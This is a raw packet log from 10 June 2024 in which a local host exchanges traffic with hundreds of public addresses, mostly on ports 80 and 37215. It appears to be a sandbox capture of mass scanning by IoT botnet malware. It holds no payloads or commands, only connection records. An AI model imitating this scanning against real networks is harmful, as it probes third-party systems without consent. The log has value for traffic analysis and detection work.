Jun 10, 2024 15:37:59.472934008 CEST	37215	30401	197.185.118.210	192.168.2.13
Jun 10, 2024 15:37:59.472948074 CEST	80	16833	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.472959995 CEST	80	16833	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.472970009 CEST	30401	37215	192.168.2.13	197.185.118.210
Jun 10, 2024 15:37:59.472971916 CEST	37215	30401	156.87.128.213	192.168.2.13
Jun 10, 2024 15:37:59.472984076 CEST	80	16833	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.472985029 CEST	16833	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.472991943 CEST	16833	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.472995996 CEST	80	16833	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.473006010 CEST	30401	37215	192.168.2.13	156.87.128.213
Jun 10, 2024 15:37:59.473009109 CEST	80	16833	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.473021030 CEST	80	16833	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.473021030 CEST	16833	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.473033905 CEST	80	16833	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.473037004 CEST	16833	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.473037004 CEST	16833	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.473047018 CEST	37215	30401	156.74.148.193	192.168.2.13
Jun 10, 2024 15:37:59.473057032 CEST	16833	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.473058939 CEST	80	16833	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.473071098 CEST	37215	30401	41.11.218.91	192.168.2.13
Jun 10, 2024 15:37:59.473072052 CEST	16833	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.473083019 CEST	37215	30401	197.169.37.32	192.168.2.13
Jun 10, 2024 15:37:59.473086119 CEST	30401	37215	192.168.2.13	156.74.148.193
Jun 10, 2024 15:37:59.473090887 CEST	16833	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.473107100 CEST	80	16833	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.473107100 CEST	30401	37215	192.168.2.13	41.11.218.91
Jun 10, 2024 15:37:59.473119974 CEST	37215	30401	156.85.168.164	192.168.2.13
Jun 10, 2024 15:37:59.473121881 CEST	30401	37215	192.168.2.13	197.169.37.32
Jun 10, 2024 15:37:59.473133087 CEST	80	16833	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.473140955 CEST	16833	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.473145008 CEST	37215	30401	41.159.234.132	192.168.2.13
Jun 10, 2024 15:37:59.473150015 CEST	30401	37215	192.168.2.13	156.85.168.164
Jun 10, 2024 15:37:59.473157883 CEST	37215	30401	197.159.57.193	192.168.2.13
Jun 10, 2024 15:37:59.473170042 CEST	80	16833	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.473179102 CEST	30401	37215	192.168.2.13	41.159.234.132
Jun 10, 2024 15:37:59.473181009 CEST	80	16833	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.473193884 CEST	80	16833	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.473206043 CEST	80	16833	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.473217010 CEST	37215	30401	41.148.67.86	192.168.2.13
Jun 10, 2024 15:37:59.473228931 CEST	80	16833	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.473231077 CEST	16833	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.473241091 CEST	16833	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.473241091 CEST	80	16833	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.473248959 CEST	16833	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.473248959 CEST	30401	37215	192.168.2.13	41.148.67.86
Jun 10, 2024 15:37:59.473264933 CEST	16833	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.473278999 CEST	16833	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.473285913 CEST	30401	37215	192.168.2.13	197.159.57.193
Jun 10, 2024 15:37:59.473285913 CEST	16833	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.473285913 CEST	16833	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.473507881 CEST	80	16833	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.473548889 CEST	16833	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.473556995 CEST	80	16833	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.473571062 CEST	80	16833	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.473586082 CEST	37215	30401	156.193.172.152	192.168.2.13
Jun 10, 2024 15:37:59.473592043 CEST	54526	23	192.168.2.13	186.246.195.187
Jun 10, 2024 15:37:59.473597050 CEST	16833	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.473598003 CEST	37215	30401	41.231.47.111	192.168.2.13
Jun 10, 2024 15:37:59.473603964 CEST	16833	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.473611116 CEST	80	16833	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.473618031 CEST	30401	37215	192.168.2.13	156.193.172.152
Jun 10, 2024 15:37:59.473623037 CEST	37215	30401	41.199.79.204	192.168.2.13
Jun 10, 2024 15:37:59.473634005 CEST	80	16833	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.473637104 CEST	30401	37215	192.168.2.13	41.231.47.111
Jun 10, 2024 15:37:59.473643064 CEST	16833	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.473647118 CEST	37215	30401	41.101.247.5	192.168.2.13
Jun 10, 2024 15:37:59.473653078 CEST	30401	37215	192.168.2.13	41.199.79.204
Jun 10, 2024 15:37:59.473659992 CEST	37215	30401	41.30.242.53	192.168.2.13
Jun 10, 2024 15:37:59.473674059 CEST	80	16833	180.39.72.148	192.168.2.13
Jun 10, 2024 15:37:59.473679066 CEST	30401	37215	192.168.2.13	41.101.247.5
Jun 10, 2024 15:37:59.473685026 CEST	16833	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.473686934 CEST	37215	30401	197.11.108.159	192.168.2.13
Jun 10, 2024 15:37:59.473690033 CEST	30401	37215	192.168.2.13	41.30.242.53
Jun 10, 2024 15:37:59.473700047 CEST	80	16833	61.60.152.125	192.168.2.13
Jun 10, 2024 15:37:59.473707914 CEST	16833	80	192.168.2.13	180.39.72.148
Jun 10, 2024 15:37:59.473711967 CEST	80	16833	205.31.133.92	192.168.2.13
Jun 10, 2024 15:37:59.473725080 CEST	30401	37215	192.168.2.13	197.11.108.159
Jun 10, 2024 15:37:59.473730087 CEST	16833	80	192.168.2.13	61.60.152.125
Jun 10, 2024 15:37:59.473737001 CEST	80	16833	65.70.76.83	192.168.2.13
Jun 10, 2024 15:37:59.473746061 CEST	16833	80	192.168.2.13	205.31.133.92
Jun 10, 2024 15:37:59.473750114 CEST	37215	30401	41.18.25.58	192.168.2.13
Jun 10, 2024 15:37:59.473762989 CEST	37215	30401	156.245.214.148	192.168.2.13
Jun 10, 2024 15:37:59.473773956 CEST	16833	80	192.168.2.13	65.70.76.83
Jun 10, 2024 15:37:59.473773956 CEST	37215	30401	197.130.54.44	192.168.2.13
Jun 10, 2024 15:37:59.473786116 CEST	80	16833	178.75.129.135	192.168.2.13
Jun 10, 2024 15:37:59.473792076 CEST	30401	37215	192.168.2.13	41.18.25.58
Jun 10, 2024 15:37:59.473798037 CEST	37215	30401	197.6.221.182	192.168.2.13
Jun 10, 2024 15:37:59.473798990 CEST	30401	37215	192.168.2.13	156.245.214.148
Jun 10, 2024 15:37:59.473810911 CEST	80	16833	199.14.48.234	192.168.2.13
Jun 10, 2024 15:37:59.473810911 CEST	30401	37215	192.168.2.13	197.130.54.44
Jun 10, 2024 15:37:59.473810911 CEST	16833	80	192.168.2.13	178.75.129.135
Jun 10, 2024 15:37:59.473823071 CEST	80	16833	77.158.144.153	192.168.2.13
Jun 10, 2024 15:37:59.473829985 CEST	30401	37215	192.168.2.13	197.6.221.182
Jun 10, 2024 15:37:59.473834991 CEST	80	16833	73.226.206.80	192.168.2.13
Jun 10, 2024 15:37:59.473846912 CEST	80	16833	85.213.97.130	192.168.2.13
Jun 10, 2024 15:37:59.473846912 CEST	16833	80	192.168.2.13	199.14.48.234
Jun 10, 2024 15:37:59.473850965 CEST	16833	80	192.168.2.13	77.158.144.153
Jun 10, 2024 15:37:59.473859072 CEST	80	16833	35.110.254.128	192.168.2.13
Jun 10, 2024 15:37:59.473864079 CEST	16833	80	192.168.2.13	73.226.206.80
Jun 10, 2024 15:37:59.473870993 CEST	80	16833	113.100.75.240	192.168.2.13
Jun 10, 2024 15:37:59.473882914 CEST	80	16833	147.13.253.87	192.168.2.13
Jun 10, 2024 15:37:59.473882914 CEST	16833	80	192.168.2.13	85.213.97.130
Jun 10, 2024 15:37:59.473895073 CEST	16833	80	192.168.2.13	35.110.254.128
Jun 10, 2024 15:37:59.473903894 CEST	16833	80	192.168.2.13	113.100.75.240
Jun 10, 2024 15:37:59.473915100 CEST	16833	80	192.168.2.13	147.13.253.87
Jun 10, 2024 15:37:59.474286079 CEST	80	16833	63.100.122.35	192.168.2.13
Jun 10, 2024 15:37:59.474309921 CEST	80	16833	189.4.205.250	192.168.2.13
Jun 10, 2024 15:37:59.474322081 CEST	37215	30401	197.77.27.57	192.168.2.13
Jun 10, 2024 15:37:59.474327087 CEST	16833	80	192.168.2.13	63.100.122.35
Jun 10, 2024 15:37:59.474342108 CEST	16833	80	192.168.2.13	189.4.205.250
Jun 10, 2024 15:37:59.474344015 CEST	80	16833	73.27.208.44	192.168.2.13
Jun 10, 2024 15:37:59.474347115 CEST	30401	37215	192.168.2.13	197.77.27.57
Jun 10, 2024 15:37:59.474356890 CEST	80	16833	43.197.76.131	192.168.2.13
Jun 10, 2024 15:37:59.474370003 CEST	80	16833	188.19.125.242	192.168.2.13
Jun 10, 2024 15:37:59.474381924 CEST	80	16833	136.187.169.238	192.168.2.13
Jun 10, 2024 15:37:59.474390030 CEST	16833	80	192.168.2.13	43.197.76.131
Jun 10, 2024 15:37:59.474394083 CEST	80	16833	155.242.180.94	192.168.2.13
Jun 10, 2024 15:37:59.474401951 CEST	16833	80	192.168.2.13	188.19.125.242
Jun 10, 2024 15:37:59.474405050 CEST	16833	80	192.168.2.13	73.27.208.44
Jun 10, 2024 15:37:59.474406004 CEST	80	16833	97.78.180.40	192.168.2.13
Jun 10, 2024 15:37:59.474417925 CEST	80	16833	80.79.4.13	192.168.2.13
Jun 10, 2024 15:37:59.474420071 CEST	16833	80	192.168.2.13	136.187.169.238
Jun 10, 2024 15:37:59.474423885 CEST	16833	80	192.168.2.13	155.242.180.94
Jun 10, 2024 15:37:59.474431992 CEST	37215	30401	197.53.181.102	192.168.2.13
Jun 10, 2024 15:37:59.474433899 CEST	16833	80	192.168.2.13	97.78.180.40
Jun 10, 2024 15:37:59.474445105 CEST	80	16833	172.186.91.166	192.168.2.13
Jun 10, 2024 15:37:59.474447012 CEST	16833	80	192.168.2.13	80.79.4.13
Jun 10, 2024 15:37:59.474468946 CEST	37215	30401	156.127.85.183	192.168.2.13
Jun 10, 2024 15:37:59.474478960 CEST	30401	37215	192.168.2.13	197.53.181.102
Jun 10, 2024 15:37:59.474478960 CEST	16833	80	192.168.2.13	172.186.91.166
Jun 10, 2024 15:37:59.474482059 CEST	80	16833	223.101.71.177	192.168.2.13
Jun 10, 2024 15:37:59.474493980 CEST	37215	30401	156.91.67.212	192.168.2.13
Jun 10, 2024 15:37:59.474503994 CEST	30401	37215	192.168.2.13	156.127.85.183
Jun 10, 2024 15:37:59.474505901 CEST	37215	30401	156.131.225.23	192.168.2.13
Jun 10, 2024 15:37:59.474514961 CEST	16833	80	192.168.2.13	223.101.71.177
Jun 10, 2024 15:37:59.474518061 CEST	80	16833	18.56.173.78	192.168.2.13
Jun 10, 2024 15:37:59.474529982 CEST	80	16833	163.111.8.68	192.168.2.13
Jun 10, 2024 15:37:59.474534035 CEST	30401	37215	192.168.2.13	156.91.67.212
Jun 10, 2024 15:37:59.474543095 CEST	37215	30401	156.134.62.117	192.168.2.13
Jun 10, 2024 15:37:59.474545956 CEST	30401	37215	192.168.2.13	156.131.225.23
Jun 10, 2024 15:37:59.474550009 CEST	16833	80	192.168.2.13	18.56.173.78
Jun 10, 2024 15:37:59.474555016 CEST	37215	30401	41.194.69.224	192.168.2.13
Jun 10, 2024 15:37:59.474560976 CEST	16833	80	192.168.2.13	163.111.8.68
Jun 10, 2024 15:37:59.474567890 CEST	80	16833	119.73.219.135	192.168.2.13
Jun 10, 2024 15:37:59.474580050 CEST	37215	30401	156.175.50.158	192.168.2.13
Jun 10, 2024 15:37:59.474581957 CEST	30401	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:37:59.474582911 CEST	30401	37215	192.168.2.13	41.194.69.224
Jun 10, 2024 15:37:59.474591970 CEST	37215	30401	156.108.94.105	192.168.2.13
Jun 10, 2024 15:37:59.474602938 CEST	16833	80	192.168.2.13	119.73.219.135
Jun 10, 2024 15:37:59.474605083 CEST	80	16833	47.205.42.118	192.168.2.13
Jun 10, 2024 15:37:59.474613905 CEST	30401	37215	192.168.2.13	156.175.50.158
Jun 10, 2024 15:37:59.474617004 CEST	80	16833	153.158.156.7	192.168.2.13
Jun 10, 2024 15:37:59.474627972 CEST	30401	37215	192.168.2.13	156.108.94.105
Jun 10, 2024 15:37:59.474628925 CEST	37215	30401	197.171.45.100	192.168.2.13
Jun 10, 2024 15:37:59.474637032 CEST	16833	80	192.168.2.13	47.205.42.118
Jun 10, 2024 15:37:59.474639893 CEST	80	16833	12.226.179.166	192.168.2.13
Jun 10, 2024 15:37:59.474642992 CEST	16833	80	192.168.2.13	153.158.156.7
Jun 10, 2024 15:37:59.474652052 CEST	80	16833	110.105.30.144	192.168.2.13
Jun 10, 2024 15:37:59.474666119 CEST	30401	37215	192.168.2.13	197.171.45.100
Jun 10, 2024 15:37:59.474683046 CEST	16833	80	192.168.2.13	12.226.179.166
Jun 10, 2024 15:37:59.474694014 CEST	16833	80	192.168.2.13	110.105.30.144
Jun 10, 2024 15:37:59.475095987 CEST	37215	30401	197.252.67.126	192.168.2.13
Jun 10, 2024 15:37:59.475107908 CEST	37215	30401	197.177.55.128	192.168.2.13
Jun 10, 2024 15:37:59.475112915 CEST	32824	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.475121021 CEST	37215	30401	156.22.231.73	192.168.2.13
Jun 10, 2024 15:37:59.475130081 CEST	30401	37215	192.168.2.13	197.252.67.126
Jun 10, 2024 15:37:59.475136042 CEST	80	16833	92.198.235.153	192.168.2.13
Jun 10, 2024 15:37:59.475158930 CEST	30401	37215	192.168.2.13	197.177.55.128
Jun 10, 2024 15:37:59.475158930 CEST	30401	37215	192.168.2.13	156.22.231.73
Jun 10, 2024 15:37:59.475172997 CEST	37215	30401	197.3.144.181	192.168.2.13
Jun 10, 2024 15:37:59.475184917 CEST	37215	30401	41.154.242.218	192.168.2.13
Jun 10, 2024 15:37:59.475184917 CEST	16833	80	192.168.2.13	92.198.235.153
Jun 10, 2024 15:37:59.475198030 CEST	80	16833	41.255.9.53	192.168.2.13
Jun 10, 2024 15:37:59.475207090 CEST	30401	37215	192.168.2.13	197.3.144.181
Jun 10, 2024 15:37:59.475209951 CEST	37215	30401	197.122.240.56	192.168.2.13
Jun 10, 2024 15:37:59.475219965 CEST	30401	37215	192.168.2.13	41.154.242.218
Jun 10, 2024 15:37:59.475223064 CEST	37215	30401	197.90.255.62	192.168.2.13
Jun 10, 2024 15:37:59.475227118 CEST	16833	80	192.168.2.13	41.255.9.53
Jun 10, 2024 15:37:59.475235939 CEST	80	16833	115.14.180.117	192.168.2.13
Jun 10, 2024 15:37:59.475244045 CEST	30401	37215	192.168.2.13	197.122.240.56
Jun 10, 2024 15:37:59.475248098 CEST	37215	30401	197.65.165.66	192.168.2.13
Jun 10, 2024 15:37:59.475254059 CEST	30401	37215	192.168.2.13	197.90.255.62
Jun 10, 2024 15:37:59.475261927 CEST	80	16833	27.107.20.99	192.168.2.13
Jun 10, 2024 15:37:59.475274086 CEST	16833	80	192.168.2.13	115.14.180.117
Jun 10, 2024 15:37:59.475276947 CEST	37215	30401	156.108.239.24	192.168.2.13
Jun 10, 2024 15:37:59.475277901 CEST	30401	37215	192.168.2.13	197.65.165.66
Jun 10, 2024 15:37:59.475290060 CEST	37215	30401	41.204.128.204	192.168.2.13
Jun 10, 2024 15:37:59.475300074 CEST	16833	80	192.168.2.13	27.107.20.99
Jun 10, 2024 15:37:59.475301981 CEST	37215	30401	197.113.110.123	192.168.2.13
Jun 10, 2024 15:37:59.475312948 CEST	30401	37215	192.168.2.13	156.108.239.24
Jun 10, 2024 15:37:59.475315094 CEST	80	16833	49.166.164.65	192.168.2.13
Jun 10, 2024 15:37:59.475326061 CEST	80	16833	154.157.108.239	192.168.2.13
Jun 10, 2024 15:37:59.475336075 CEST	30401	37215	192.168.2.13	197.113.110.123
Jun 10, 2024 15:37:59.475337982 CEST	80	16833	164.124.249.96	192.168.2.13
Jun 10, 2024 15:37:59.475347042 CEST	30401	37215	192.168.2.13	41.204.128.204
Jun 10, 2024 15:37:59.475347042 CEST	16833	80	192.168.2.13	49.166.164.65
Jun 10, 2024 15:37:59.475348949 CEST	80	16833	172.41.133.121	192.168.2.13
Jun 10, 2024 15:37:59.475358009 CEST	16833	80	192.168.2.13	154.157.108.239
Jun 10, 2024 15:37:59.475362062 CEST	80	16833	104.146.129.255	192.168.2.13
Jun 10, 2024 15:37:59.475373030 CEST	80	16833	112.185.246.97	192.168.2.13
Jun 10, 2024 15:37:59.475373983 CEST	16833	80	192.168.2.13	164.124.249.96
Jun 10, 2024 15:37:59.475385904 CEST	80	16833	137.192.36.34	192.168.2.13
Jun 10, 2024 15:37:59.475393057 CEST	16833	80	192.168.2.13	104.146.129.255
Jun 10, 2024 15:37:59.475397110 CEST	80	16833	151.245.233.148	192.168.2.13
Jun 10, 2024 15:37:59.475408077 CEST	16833	80	192.168.2.13	112.185.246.97
Jun 10, 2024 15:37:59.475409031 CEST	37215	30401	156.165.153.169	192.168.2.13
Jun 10, 2024 15:37:59.475421906 CEST	37215	30401	156.64.50.166	192.168.2.13
Jun 10, 2024 15:37:59.475428104 CEST	16833	80	192.168.2.13	151.245.233.148
Jun 10, 2024 15:37:59.475435019 CEST	80	16833	8.60.14.111	192.168.2.13
Jun 10, 2024 15:37:59.475445032 CEST	30401	37215	192.168.2.13	156.165.153.169
Jun 10, 2024 15:37:59.475446939 CEST	37215	30401	156.138.70.55	192.168.2.13
Jun 10, 2024 15:37:59.475455999 CEST	30401	37215	192.168.2.13	156.64.50.166
Jun 10, 2024 15:37:59.475459099 CEST	80	16833	87.244.191.238	192.168.2.13
Jun 10, 2024 15:37:59.475469112 CEST	16833	80	192.168.2.13	8.60.14.111
Jun 10, 2024 15:37:59.475476027 CEST	30401	37215	192.168.2.13	156.138.70.55
Jun 10, 2024 15:37:59.475488901 CEST	16833	80	192.168.2.13	87.244.191.238
Jun 10, 2024 15:37:59.475598097 CEST	16833	80	192.168.2.13	137.192.36.34
Jun 10, 2024 15:37:59.475610018 CEST	16833	80	192.168.2.13	172.41.133.121
Jun 10, 2024 15:37:59.475914955 CEST	80	16833	165.42.5.94	192.168.2.13
Jun 10, 2024 15:37:59.475928068 CEST	37215	30401	41.177.65.80	192.168.2.13
Jun 10, 2024 15:37:59.475939989 CEST	80	16833	103.180.106.234	192.168.2.13
Jun 10, 2024 15:37:59.475959063 CEST	16833	80	192.168.2.13	165.42.5.94
Jun 10, 2024 15:37:59.475964069 CEST	80	16833	47.31.252.153	192.168.2.13
Jun 10, 2024 15:37:59.475965977 CEST	30401	37215	192.168.2.13	41.177.65.80
Jun 10, 2024 15:37:59.475965977 CEST	16833	80	192.168.2.13	103.180.106.234
Jun 10, 2024 15:37:59.475976944 CEST	80	16833	116.64.211.112	192.168.2.13
Jun 10, 2024 15:37:59.475989103 CEST	37215	30401	156.30.46.175	192.168.2.13
Jun 10, 2024 15:37:59.475996017 CEST	16833	80	192.168.2.13	47.31.252.153
Jun 10, 2024 15:37:59.476001024 CEST	80	16833	121.66.37.22	192.168.2.13
Jun 10, 2024 15:37:59.476005077 CEST	16833	80	192.168.2.13	116.64.211.112
Jun 10, 2024 15:37:59.476015091 CEST	37215	30401	156.122.43.20	192.168.2.13
Jun 10, 2024 15:37:59.476016045 CEST	30401	37215	192.168.2.13	156.30.46.175
Jun 10, 2024 15:37:59.476027966 CEST	80	16833	67.138.158.3	192.168.2.13
Jun 10, 2024 15:37:59.476032972 CEST	16833	80	192.168.2.13	121.66.37.22
Jun 10, 2024 15:37:59.476041079 CEST	80	16833	142.93.84.53	192.168.2.13
Jun 10, 2024 15:37:59.476048946 CEST	30401	37215	192.168.2.13	156.122.43.20
Jun 10, 2024 15:37:59.476052046 CEST	80	16833	82.31.158.212	192.168.2.13
Jun 10, 2024 15:37:59.476061106 CEST	16833	80	192.168.2.13	67.138.158.3
Jun 10, 2024 15:37:59.476064920 CEST	37215	30401	156.21.253.10	192.168.2.13
Jun 10, 2024 15:37:59.476073027 CEST	16833	80	192.168.2.13	142.93.84.53
Jun 10, 2024 15:37:59.476078033 CEST	37215	30401	197.45.49.45	192.168.2.13
Jun 10, 2024 15:37:59.476082087 CEST	16833	80	192.168.2.13	82.31.158.212
Jun 10, 2024 15:37:59.476090908 CEST	80	16833	177.132.104.239	192.168.2.13
Jun 10, 2024 15:37:59.476103067 CEST	80	16833	82.115.241.32	192.168.2.13
Jun 10, 2024 15:37:59.476103067 CEST	30401	37215	192.168.2.13	197.45.49.45
Jun 10, 2024 15:37:59.476114988 CEST	80	16833	173.206.211.211	192.168.2.13
Jun 10, 2024 15:37:59.476126909 CEST	37215	30401	156.86.67.41	192.168.2.13
Jun 10, 2024 15:37:59.476136923 CEST	16833	80	192.168.2.13	82.115.241.32
Jun 10, 2024 15:37:59.476138115 CEST	37215	30401	41.217.166.207	192.168.2.13
Jun 10, 2024 15:37:59.476150990 CEST	80	16833	80.138.184.143	192.168.2.13
Jun 10, 2024 15:37:59.476161003 CEST	30401	37215	192.168.2.13	156.86.67.41
Jun 10, 2024 15:37:59.476161957 CEST	80	16833	41.205.211.13	192.168.2.13
Jun 10, 2024 15:37:59.476174116 CEST	80	16833	209.251.75.100	192.168.2.13
Jun 10, 2024 15:37:59.476185083 CEST	80	16833	8.67.93.32	192.168.2.13
Jun 10, 2024 15:37:59.476186037 CEST	30401	37215	192.168.2.13	156.21.253.10
Jun 10, 2024 15:37:59.476186037 CEST	16833	80	192.168.2.13	80.138.184.143
Jun 10, 2024 15:37:59.476197958 CEST	16833	80	192.168.2.13	41.205.211.13
Jun 10, 2024 15:37:59.476202965 CEST	16833	80	192.168.2.13	177.132.104.239
Jun 10, 2024 15:37:59.476202965 CEST	16833	80	192.168.2.13	173.206.211.211
Jun 10, 2024 15:37:59.476202965 CEST	30401	37215	192.168.2.13	41.217.166.207
Jun 10, 2024 15:37:59.476202965 CEST	16833	80	192.168.2.13	209.251.75.100
Jun 10, 2024 15:37:59.476208925 CEST	80	16833	204.85.79.250	192.168.2.13
Jun 10, 2024 15:37:59.476221085 CEST	80	16833	221.192.131.182	192.168.2.13
Jun 10, 2024 15:37:59.476233006 CEST	80	16833	206.109.139.234	192.168.2.13
Jun 10, 2024 15:37:59.476237059 CEST	16833	80	192.168.2.13	8.67.93.32
Jun 10, 2024 15:37:59.476244926 CEST	37215	30401	41.232.218.37	192.168.2.13
Jun 10, 2024 15:37:59.476248026 CEST	16833	80	192.168.2.13	204.85.79.250
Jun 10, 2024 15:37:59.476257086 CEST	80	16833	85.165.52.150	192.168.2.13
Jun 10, 2024 15:37:59.476257086 CEST	16833	80	192.168.2.13	221.192.131.182
Jun 10, 2024 15:37:59.476264954 CEST	16833	80	192.168.2.13	206.109.139.234
Jun 10, 2024 15:37:59.476269960 CEST	80	16833	181.48.200.125	192.168.2.13
Jun 10, 2024 15:37:59.476279020 CEST	30401	37215	192.168.2.13	41.232.218.37
Jun 10, 2024 15:37:59.476289988 CEST	16833	80	192.168.2.13	85.165.52.150
Jun 10, 2024 15:37:59.476304054 CEST	16833	80	192.168.2.13	181.48.200.125
Jun 10, 2024 15:37:59.476433992 CEST	37215	30401	156.160.33.207	192.168.2.13
Jun 10, 2024 15:37:59.476470947 CEST	30401	37215	192.168.2.13	156.160.33.207
Jun 10, 2024 15:37:59.476571083 CEST	80	16833	141.237.220.58	192.168.2.13
Jun 10, 2024 15:37:59.476584911 CEST	80	16833	107.87.148.44	192.168.2.13
Jun 10, 2024 15:37:59.476596117 CEST	80	16833	76.193.135.136	192.168.2.13
Jun 10, 2024 15:37:59.476608038 CEST	37215	30401	156.70.51.128	192.168.2.13
Jun 10, 2024 15:37:59.476612091 CEST	16833	80	192.168.2.13	141.237.220.58
Jun 10, 2024 15:37:59.476619959 CEST	80	16833	23.44.133.64	192.168.2.13
Jun 10, 2024 15:37:59.476624012 CEST	16833	80	192.168.2.13	107.87.148.44
Jun 10, 2024 15:37:59.476632118 CEST	80	16833	98.50.27.72	192.168.2.13
Jun 10, 2024 15:37:59.476635933 CEST	16833	80	192.168.2.13	76.193.135.136
Jun 10, 2024 15:37:59.476639986 CEST	30401	37215	192.168.2.13	156.70.51.128
Jun 10, 2024 15:37:59.476644993 CEST	37215	30401	197.131.147.145	192.168.2.13
Jun 10, 2024 15:37:59.476649046 CEST	16833	80	192.168.2.13	23.44.133.64
Jun 10, 2024 15:37:59.476658106 CEST	80	16833	27.83.114.105	192.168.2.13
Jun 10, 2024 15:37:59.476664066 CEST	16833	80	192.168.2.13	98.50.27.72
Jun 10, 2024 15:37:59.476670027 CEST	80	16833	115.122.222.39	192.168.2.13
Jun 10, 2024 15:37:59.476671934 CEST	30401	37215	192.168.2.13	197.131.147.145
Jun 10, 2024 15:37:59.476684093 CEST	80	16833	58.79.14.101	192.168.2.13
Jun 10, 2024 15:37:59.476696014 CEST	80	16833	52.219.121.87	192.168.2.13
Jun 10, 2024 15:37:59.476707935 CEST	80	16833	69.55.0.87	192.168.2.13
Jun 10, 2024 15:37:59.476716042 CEST	16833	80	192.168.2.13	58.79.14.101
Jun 10, 2024 15:37:59.476718903 CEST	37215	30401	41.109.175.50	192.168.2.13
Jun 10, 2024 15:37:59.476732016 CEST	80	16833	78.210.96.62	192.168.2.13
Jun 10, 2024 15:37:59.476741076 CEST	16833	80	192.168.2.13	115.122.222.39
Jun 10, 2024 15:37:59.476742983 CEST	16833	80	192.168.2.13	69.55.0.87
Jun 10, 2024 15:37:59.476742983 CEST	80	16833	69.98.155.131	192.168.2.13
Jun 10, 2024 15:37:59.476747036 CEST	16833	80	192.168.2.13	27.83.114.105
Jun 10, 2024 15:37:59.476747036 CEST	16833	80	192.168.2.13	52.219.121.87
Jun 10, 2024 15:37:59.476753950 CEST	30401	37215	192.168.2.13	41.109.175.50
Jun 10, 2024 15:37:59.476757050 CEST	80	16833	186.42.206.105	192.168.2.13
Jun 10, 2024 15:37:59.476758003 CEST	16833	80	192.168.2.13	78.210.96.62
Jun 10, 2024 15:37:59.476768970 CEST	80	16833	19.213.127.183	192.168.2.13
Jun 10, 2024 15:37:59.476773024 CEST	16833	80	192.168.2.13	69.98.155.131
Jun 10, 2024 15:37:59.476782084 CEST	37215	30401	41.60.76.225	192.168.2.13
Jun 10, 2024 15:37:59.476785898 CEST	16833	80	192.168.2.13	186.42.206.105
Jun 10, 2024 15:37:59.476794004 CEST	37215	30401	41.255.7.58	192.168.2.13
Jun 10, 2024 15:37:59.476805925 CEST	80	16833	51.28.4.140	192.168.2.13
Jun 10, 2024 15:37:59.476807117 CEST	16833	80	192.168.2.13	19.213.127.183
Jun 10, 2024 15:37:59.476819038 CEST	80	16833	97.44.41.112	192.168.2.13
Jun 10, 2024 15:37:59.476820946 CEST	30401	37215	192.168.2.13	41.60.76.225
Jun 10, 2024 15:37:59.476826906 CEST	30401	37215	192.168.2.13	41.255.7.58
Jun 10, 2024 15:37:59.476834059 CEST	80	16833	220.3.14.39	192.168.2.13
Jun 10, 2024 15:37:59.476845980 CEST	16833	80	192.168.2.13	51.28.4.140
Jun 10, 2024 15:37:59.476846933 CEST	37215	30401	41.32.20.36	192.168.2.13
Jun 10, 2024 15:37:59.476857901 CEST	16833	80	192.168.2.13	97.44.41.112
Jun 10, 2024 15:37:59.476857901 CEST	16833	80	192.168.2.13	220.3.14.39
Jun 10, 2024 15:37:59.476872921 CEST	80	16833	170.152.145.43	192.168.2.13
Jun 10, 2024 15:37:59.476886034 CEST	37215	30401	41.212.198.1	192.168.2.13
Jun 10, 2024 15:37:59.476887941 CEST	30401	37215	192.168.2.13	41.32.20.36
Jun 10, 2024 15:37:59.476897955 CEST	80	16833	107.129.25.87	192.168.2.13
Jun 10, 2024 15:37:59.476910114 CEST	37215	30401	197.171.235.195	192.168.2.13
Jun 10, 2024 15:37:59.476922035 CEST	80	16833	83.164.93.245	192.168.2.13
Jun 10, 2024 15:37:59.476926088 CEST	30401	37215	192.168.2.13	41.212.198.1
Jun 10, 2024 15:37:59.476933956 CEST	80	16833	47.57.140.37	192.168.2.13
Jun 10, 2024 15:37:59.476937056 CEST	16833	80	192.168.2.13	107.129.25.87
